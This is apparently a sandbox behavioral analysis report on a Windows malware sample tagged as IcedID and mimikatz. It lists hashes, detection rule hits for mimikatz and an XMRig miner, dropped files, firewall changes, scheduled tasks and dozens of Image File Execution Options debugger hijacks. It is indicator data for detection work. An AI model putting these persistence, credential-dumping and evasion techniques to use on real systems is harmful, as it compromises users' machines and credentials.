Analysis
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max time kernel
152s -
max time network
157s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
09-04-2024 01:02
Behavioral task
behavioral1
Sample
2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
General
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Target
2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe
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Size
7.1MB
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MD5
09df14fcc3f41b9604ca36f830f9e077
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SHA1
fecdbdb6d2dad740d61931d9893e7364798984fc
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SHA256
626e2c816bf80a7bbdf500118ce03466d2010f1eca6b4d9dba8a47c81df608d5
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SHA512
8e38c4b2df5da84bca0886810b97f60e1643bbba9db2733302b77ac6577067a619afdd5bd1ab30f4c2b3ca7567bbe01a5e5432b4c3849b71a156255abc306b42
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SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
bibnuun.exedescription pid process target process PID 2568 created 964 2568 bibnuun.exe spoolsv.exe -
Contacts a large (14715) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2216-136-0x000000013FF50000-0x000000014003E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2216-135-0x000000013FF50000-0x000000014003E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 34 IoCs
Processes:
resource yara_rule behavioral1/memory/2308-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX C:\Windows\plwghlna\bibnuun.exe UPX behavioral1/memory/2596-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX C:\Windows\yyshahwcl\Corporate\vfshost.exe UPX behavioral1/memory/2216-136-0x000000013FF50000-0x000000014003E000-memory.dmp UPX behavioral1/memory/2216-135-0x000000013FF50000-0x000000014003E000-memory.dmp UPX \Windows\Temp\yyshahwcl\lbcjggfpn.exe UPX behavioral1/memory/2568-141-0x0000000002AC0000-0x0000000002B1B000-memory.dmp UPX \Windows\Temp\bpetituga\gctgtz.exe UPX behavioral1/memory/2000-146-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/2708-148-0x000000013F570000-0x000000013F5CB000-memory.dmp UPX behavioral1/memory/2000-149-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/2000-156-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/2000-155-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/2708-158-0x000000013F570000-0x000000013F5CB000-memory.dmp UPX behavioral1/memory/1352-164-0x000000013FBA0000-0x000000013FBFB000-memory.dmp UPX behavioral1/memory/2000-165-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/1352-167-0x000000013FBA0000-0x000000013FBFB000-memory.dmp UPX behavioral1/memory/1528-172-0x000000013FBD0000-0x000000013FC2B000-memory.dmp UPX behavioral1/memory/2000-173-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/1528-175-0x000000013FBD0000-0x000000013FC2B000-memory.dmp UPX behavioral1/memory/2788-190-0x000000013FC40000-0x000000013FC9B000-memory.dmp UPX behavioral1/memory/2000-191-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/2788-199-0x000000013FC40000-0x000000013FC9B000-memory.dmp UPX behavioral1/memory/1212-208-0x000000013FEB0000-0x000000013FF0B000-memory.dmp UPX behavioral1/memory/1212-227-0x000000013FEB0000-0x000000013FF0B000-memory.dmp UPX behavioral1/memory/2000-225-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/1948-229-0x0000000000D10000-0x0000000000D22000-memory.dmp UPX behavioral1/memory/2408-236-0x000000013FBB0000-0x000000013FC0B000-memory.dmp UPX behavioral1/memory/2408-239-0x000000013FBB0000-0x000000013FC0B000-memory.dmp UPX behavioral1/memory/3140-244-0x000000013FAF0000-0x000000013FB4B000-memory.dmp UPX behavioral1/memory/3140-246-0x000000013FAF0000-0x000000013FB4B000-memory.dmp UPX behavioral1/memory/2000-249-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX behavioral1/memory/2000-254-0x000000013F5A0000-0x000000013F6C0000-memory.dmp UPX -
XMRig Miner payload 9 IoCs
Processes:
resource yara_rule behavioral1/memory/2000-149-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig behavioral1/memory/2000-156-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig behavioral1/memory/2000-155-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig behavioral1/memory/2000-165-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig behavioral1/memory/2000-173-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig behavioral1/memory/2000-191-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig behavioral1/memory/2000-225-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig behavioral1/memory/2000-249-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig behavioral1/memory/2000-254-0x000000013F5A0000-0x000000013F6C0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 6 IoCs
Processes:
resource yara_rule behavioral1/memory/2308-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz C:\Windows\plwghlna\bibnuun.exe mimikatz behavioral1/memory/2596-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2216-136-0x000000013FF50000-0x000000014003E000-memory.dmp mimikatz behavioral1/memory/2216-135-0x000000013FF50000-0x000000014003E000-memory.dmp mimikatz behavioral1/memory/2568-253-0x0000000003040000-0x000000000309B000-memory.dmp mimikatz -
Drops file in Drivers directory 2 IoCs
Processes:
bibnuun.exewpcap.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts bibnuun.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 600 netsh.exe 1572 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
bibnuun.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe bibnuun.exe -
Executes dropped EXE 17 IoCs
Processes:
bibnuun.exebibnuun.exewpcap.execlkieeyni.exevfshost.exelbcjggfpn.exegctgtz.exelbcjggfpn.exelbcjggfpn.exexohudmc.exelbcjggfpn.exebibnuun.exelbcjggfpn.exessssgc.exegtzbalqhb.exelbcjggfpn.exelbcjggfpn.exepid process 2596 bibnuun.exe 2568 bibnuun.exe 1388 wpcap.exe 2448 clkieeyni.exe 2216 vfshost.exe 2708 lbcjggfpn.exe 2000 gctgtz.exe 1352 lbcjggfpn.exe 1528 lbcjggfpn.exe 2100 xohudmc.exe 2788 lbcjggfpn.exe 2108 bibnuun.exe 1212 lbcjggfpn.exe 1660 ssssgc.exe 3020 gtzbalqhb.exe 2408 lbcjggfpn.exe 3140 lbcjggfpn.exe -
Loads dropped DLL 24 IoCs
Processes:
cmd.execmd.exewpcap.execmd.execlkieeyni.execmd.exebibnuun.execmd.exepid process 2548 cmd.exe 2548 cmd.exe 368 cmd.exe 1388 wpcap.exe 1388 wpcap.exe 1388 wpcap.exe 1388 wpcap.exe 1388 wpcap.exe 2284 cmd.exe 2448 clkieeyni.exe 2448 clkieeyni.exe 2136 cmd.exe 2136 cmd.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 1948 cmd.exe 2568 bibnuun.exe 2568 bibnuun.exe -
Processes:
resource yara_rule C:\Windows\yyshahwcl\Corporate\vfshost.exe upx behavioral1/memory/2216-136-0x000000013FF50000-0x000000014003E000-memory.dmp upx behavioral1/memory/2216-135-0x000000013FF50000-0x000000014003E000-memory.dmp upx \Windows\Temp\yyshahwcl\lbcjggfpn.exe upx behavioral1/memory/2568-141-0x0000000002AC0000-0x0000000002B1B000-memory.dmp upx \Windows\Temp\bpetituga\gctgtz.exe upx behavioral1/memory/2000-146-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/2708-148-0x000000013F570000-0x000000013F5CB000-memory.dmp upx behavioral1/memory/2000-149-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/2000-156-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/2000-155-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/2708-158-0x000000013F570000-0x000000013F5CB000-memory.dmp upx behavioral1/memory/1352-164-0x000000013FBA0000-0x000000013FBFB000-memory.dmp upx behavioral1/memory/2000-165-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/1352-167-0x000000013FBA0000-0x000000013FBFB000-memory.dmp upx behavioral1/memory/1528-172-0x000000013FBD0000-0x000000013FC2B000-memory.dmp upx behavioral1/memory/2000-173-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/1528-175-0x000000013FBD0000-0x000000013FC2B000-memory.dmp upx behavioral1/memory/2788-190-0x000000013FC40000-0x000000013FC9B000-memory.dmp upx behavioral1/memory/2000-191-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/2788-199-0x000000013FC40000-0x000000013FC9B000-memory.dmp upx behavioral1/memory/1212-208-0x000000013FEB0000-0x000000013FF0B000-memory.dmp upx behavioral1/memory/1212-227-0x000000013FEB0000-0x000000013FF0B000-memory.dmp upx behavioral1/memory/2000-225-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/2408-236-0x000000013FBB0000-0x000000013FC0B000-memory.dmp upx behavioral1/memory/2408-239-0x000000013FBB0000-0x000000013FC0B000-memory.dmp upx behavioral1/memory/3140-244-0x000000013FAF0000-0x000000013FB4B000-memory.dmp upx behavioral1/memory/3140-246-0x000000013FAF0000-0x000000013FB4B000-memory.dmp upx behavioral1/memory/2000-249-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx behavioral1/memory/2000-254-0x000000013F5A0000-0x000000013F6C0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 21 ifconfig.me 20 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
Processes:
wpcap.exexohudmc.exebibnuun.exedescription ioc process File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\ssssgc.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\ssssgc.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 bibnuun.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 bibnuun.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A bibnuun.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat bibnuun.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A bibnuun.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
bibnuun.execmd.exegtzbalqhb.exe2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exedescription ioc process File created C:\Windows\yyshahwcl\UnattendGC\specials\vimpcsvc.exe bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\schoedcl.exe bibnuun.exe File created C:\Windows\plwghlna\spoolsrv.xml bibnuun.exe File opened for modification C:\Windows\plwghlna\svschost.xml bibnuun.exe File created C:\Windows\yyshahwcl\hbzhttyqt\wpcap.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\libxml2.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\tibe-2.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\spoolsrv.exe bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\docmicfg.xml bibnuun.exe File created C:\Windows\yyshahwcl\hbzhttyqt\Packet.dll bibnuun.exe File opened for modification C:\Windows\yyshahwcl\hbzhttyqt\Packet.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\trch-1.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\crli-0.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\zlib1.dll bibnuun.exe File opened for modification C:\Windows\yyshahwcl\Corporate\log.txt cmd.exe File created C:\Windows\plwghlna\schoedcl.xml bibnuun.exe File created C:\Windows\ime\bibnuun.exe bibnuun.exe File opened for modification C:\Windows\plwghlna\vimpcsvc.xml bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\trfo-2.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\xdvl-0.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\svschost.xml bibnuun.exe File created C:\Windows\plwghlna\docmicfg.xml bibnuun.exe File created C:\Windows\yyshahwcl\hbzhttyqt\ip.txt bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\vimpcsvc.xml bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\AppCapture64.dll bibnuun.exe File opened for modification C:\Windows\yyshahwcl\hbzhttyqt\Result.txt gtzbalqhb.exe File created C:\Windows\yyshahwcl\hbzhttyqt\gtzbalqhb.exe bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\coli-0.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\ssleay32.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\docmicfg.xml bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\spoolsrv.xml bibnuun.exe File created C:\Windows\yyshahwcl\Corporate\mimilib.dll bibnuun.exe File created C:\Windows\yyshahwcl\hbzhttyqt\scan.bat bibnuun.exe File opened for modification C:\Windows\plwghlna\bibnuun.exe 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\cnli-1.dll bibnuun.exe File opened for modification C:\Windows\plwghlna\spoolsrv.xml bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\docmicfg.exe bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\schoedcl.xml bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\schoedcl.xml bibnuun.exe File created C:\Windows\yyshahwcl\hbzhttyqt\wpcap.exe bibnuun.exe File created C:\Windows\yyshahwcl\hbzhttyqt\clkieeyni.exe bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\posh-0.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\exma-1.dll bibnuun.exe File created C:\Windows\plwghlna\vimpcsvc.xml bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\AppCapture32.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\ucl.dll bibnuun.exe File created C:\Windows\plwghlna\svschost.xml bibnuun.exe File opened for modification C:\Windows\plwghlna\schoedcl.xml bibnuun.exe File created C:\Windows\yyshahwcl\upbdrjv\swrpwe.exe bibnuun.exe File opened for modification C:\Windows\plwghlna\docmicfg.xml bibnuun.exe File created C:\Windows\yyshahwcl\Corporate\mimidrv.sys bibnuun.exe File created C:\Windows\plwghlna\bibnuun.exe 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\tucl-1.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\spoolsrv.xml bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\libeay32.dll bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\svschost.exe bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\Shellcode.ini bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\svschost.xml bibnuun.exe File created C:\Windows\yyshahwcl\UnattendGC\specials\vimpcsvc.xml bibnuun.exe File created C:\Windows\yyshahwcl\Corporate\vfshost.exe bibnuun.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 436 sc.exe 2336 sc.exe 1220 sc.exe 660 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
Processes:
resource yara_rule C:\Windows\plwghlna\bibnuun.exe nsis_installer_2 \Windows\yyshahwcl\hbzhttyqt\wpcap.exe nsis_installer_1 \Windows\yyshahwcl\hbzhttyqt\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 2228 schtasks.exe 2196 schtasks.exe 2452 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
netsh.exebibnuun.exenetsh.exenetsh.exelbcjggfpn.exelbcjggfpn.exenetsh.exenetsh.exelbcjggfpn.exenetsh.exelbcjggfpn.exenetsh.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{65DC5187-5C2E-46AA-A13C-11B20772B5FA}\WpadDecisionTime = b0f206d6198ada01 bibnuun.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs bibnuun.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{65DC5187-5C2E-46AA-A13C-11B20772B5FA}\WpadDecisionTime = b08f3a9c198ada01 bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" lbcjggfpn.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00c9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lbcjggfpn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals lbcjggfpn.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump 